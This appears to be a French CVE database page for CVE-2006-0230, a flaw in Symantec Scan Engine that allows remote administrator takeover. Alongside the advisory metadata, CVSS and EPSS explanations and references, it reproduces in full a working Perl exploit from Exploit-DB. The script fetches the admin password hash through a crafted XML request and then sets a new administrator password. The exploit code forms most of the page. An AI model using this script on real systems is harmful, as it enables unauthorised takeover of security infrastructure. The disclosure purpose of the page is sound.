CVE-2006-0230 : Détail

CVE-2006-0230

28.16%V4
Network
2006-04-24
23h00 +00:00
2018-10-19
12h57 +00:00
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Descriptions du CVE

Symantec Scan Engine 5.0.0.24, and possibly other versions before 5.1.0.7, uses a client-side check to verify a password, which allows remote attackers to gain administrator privileges via a modified client that sends certain XML requests.

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 1703

Date de publication : 2006-04-20 22h00 +00:00
Auteur : Marc Bevand
EDB Vérifié : Yes

#!/usr/bin/perl -w # # Remotely change the administrator password (or password hash) of # Symantec Scan Engine. # # Author: Marc Bevand of Rapid7 <marc_bevand(at)rapid7.com> # Copyright 2006 Rapid7, LLC. All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions # are met: # # 1. Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # # 2. Redistributions in binary form must reproduce the above # copyright notice, this list of conditions and the following # disclaimer in the documentation and/or other materials provided # with the distribution. # # THIS SOFTWARE IS PROVIDED BY RAPID7, LLC ``AS IS'' AND ANY EXPRESS # OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED # WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE # ARE DISCLAIMED. IN NO EVENT SHALL RAPID7, LLC BE LIABLE FOR ANY # DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL # DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE # GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, # WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING # NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS # SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. # use strict; use Getopt::Long; use LWP::UserAgent; use Digest::MD5 qw/md5_hex/; use Net::SSLeay::Handle qw/shutdown/; # # Init LWP::UserAgent (the user agent string is the one currently used # by the Scan Engine java applet). # sub init { my $ua; $ua = LWP::UserAgent->new(keep_alive => 0); $ua->agent("Mozilla/4.0 (Windows 2000 5.0) Java/1.4.2_08"); return $ua; } # # Example of service string to be parsed: # 10.68.4.4 # 10.68.4.4/8004/8005 # hostname # hostname/9004/9005 # sub parse_service { my ($service) = @_; if ($service =~ m{^([^/]*)/(\d+)/(\d+)$}) { return $1, $2, $3; } elsif ($service =~ m{^([^/]*)$}) { return $1, 8004, 8005; } else { die "cannot parse service: $service"; } } # # Sends a request to obtain the password hash. Note: the RSA key # (modulus and public exponent) has been randomly chosen. # sub data_to_send { my $r1 = '<request><key mod="784607708866372110095636553206565253692059085'. '0882661452379500719255245078226751123858547991180612629396444366'. '109364669329014831409765373165312900564995261" pub="754297542068'. '3822223796790522532950961415568940207500046396606172395479254814'. '3383744922039888710333203519260280729415961892539564611703079983'. '74406014351745">I need the key</key></request>' ; return $r1; } # # Example of response to be parsed: # <request> # <message xmlns:xs="http://www.w3.org/2001/XMLSchema" # xmlns:java="class:com.symantec.common.SimpleRSA" # value="01234567890123456789012345678901234567890123456789012345\ # 6789"/> # <password xmlns:xs="http://www.w3.org/2001/XMLSchema" # xmlns:java="class:com.symantec.common.SimpleRSA" # pass="86B7A1FE120C0279971559B6BAC8C5713EF580BAFD20168D622B7E170\ # D248642"/> # </request> # sub parse_resp { my ($res) = @_; if ($res =~ /pass="([[:xdigit:]]{64})"/) { return $1; } else { die "cannot parse response: $res"; } } # # Return a password hash. # sub hash_passwd { my ($pwd) = @_; my $salt = sprintf "%08X%08X%08X%08X", rand(0xffffffff), rand(0xffffffff), rand(0xffffffff), rand(0xffffffff); return uc(md5_hex("$pwd$salt")) . $salt; } sub send_request { my ($socket, $req) = @_; $req = pack("n", length($req)).$req; print $socket $req; } # # Set the administrator password hash. # sub set_hash { my ($hostname, $port_ssl, $hash) = @_; my $socket; my $reply; tie(*SSL, "Net::SSLeay::Handle", $hostname, $port_ssl) or die "ssl tie: $!"; $socket = \*SSL; send_request($socket, '<request command="submit" parms="apply" type="saveapply">'. '<![CDATA[<?xml version="1.0" encoding="UTF-8"?>'. '<guichanges><configuration>'. '<changes xpath="//admin/password/@value" value="'.$hash.'"/>'. '</configuration></guichanges>'. ']]></request>'); send_request($socket, 'UTFWritesDone'); shutdown($socket, 1) or die "ssl shutdown: $!"; $reply = substr(<$socket>, 2); $reply = substr($reply, 0, index($reply, 'UTFWritesDone') - 2); if ($reply !~ m{<message status='apply_success'>Apply!</message>}) { die "command failed: $reply"; } close($socket) or die "ssl close: $!"; } sub doit { my ($service, $pwd, $hash) = @_; my $hostname; my $port_http; my $port_ssl; my $ua; my $url; my $req; my $res; my $old_hash; ($hostname, $port_http, $port_ssl) = parse_service($service); $ua = init(); $url = "http://$hostname:$port_http/xml.xml"; $req = HTTP::Request->new(POST => $url); $req->content_type('application/x-www-form-urlencoded'); $req->content(data_to_send()); $res = $ua->request($req); $res->is_success or die "got ".$res->status_line." for $url\n"; ($old_hash) = parse_resp($res->content); print "Old hash: $old_hash\n"; if ($hash) { set_hash($hostname, $port_ssl, $hash); print "New hash: $hash\n"; } else { $hash = hash_passwd($pwd); set_hash($hostname, $port_ssl, $hash); print "New hash: $hash\n"; print "Password successfully set to: '$pwd'\n"; } } sub error { print STDERR "Try `$0 --help' for more information.\n"; } sub usage { print "Usage:\n". " $0 [OPTIONS] <hostname>\n". " $0 [OPTIONS] <hostname>/<http_port>/<ssl_port>\n". "Options:\n". " --help Display this help\n". " --pwd <passwd> Set the password (default: test)\n". " --hash <passwd_hash> Set the password hash instead of a parti". "cular password\n". "Examples:\n". " $0 10.68.4.4\n". " $0 --pwd foobar 10.68.4.4/8004/8005\n". ""; } sub main { my $help; my $pwd = "test"; my $hash; my $service; if (!GetOptions( "help" => \$help, "pwd=s" => \$pwd, "hash=s" => \$hash, )) { error(); exit(1); } if ($help) { usage(); exit(0); } if (!scalar(@ARGV)) { print STDERR "No service specified.\n"; error(); exit(1); } elsif (1 == scalar(@ARGV)) { $service = $ARGV[0]; } else { print STDERR "Extra argument: $ARGV[1]\n"; error(); exit(1); } doit($service, $pwd, $hash); } main(); # # END proof of concept # # milw0rm.com [2006-04-21]

Products Mentioned

Configuraton 0

Symantec>>Antivirus_scan_engine >> Version 5.0.0.24

Références

http://www.securityfocus.com/bid/17637
Tags : vdb-entry, x_refsource_BID
http://secunia.com/advisories/19734
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.kb.cert.org/vuls/id/118388
Tags : third-party-advisory, x_refsource_CERT-VN
http://www.vupen.com/english/advisories/2006/1464
Tags : vdb-entry, x_refsource_VUPEN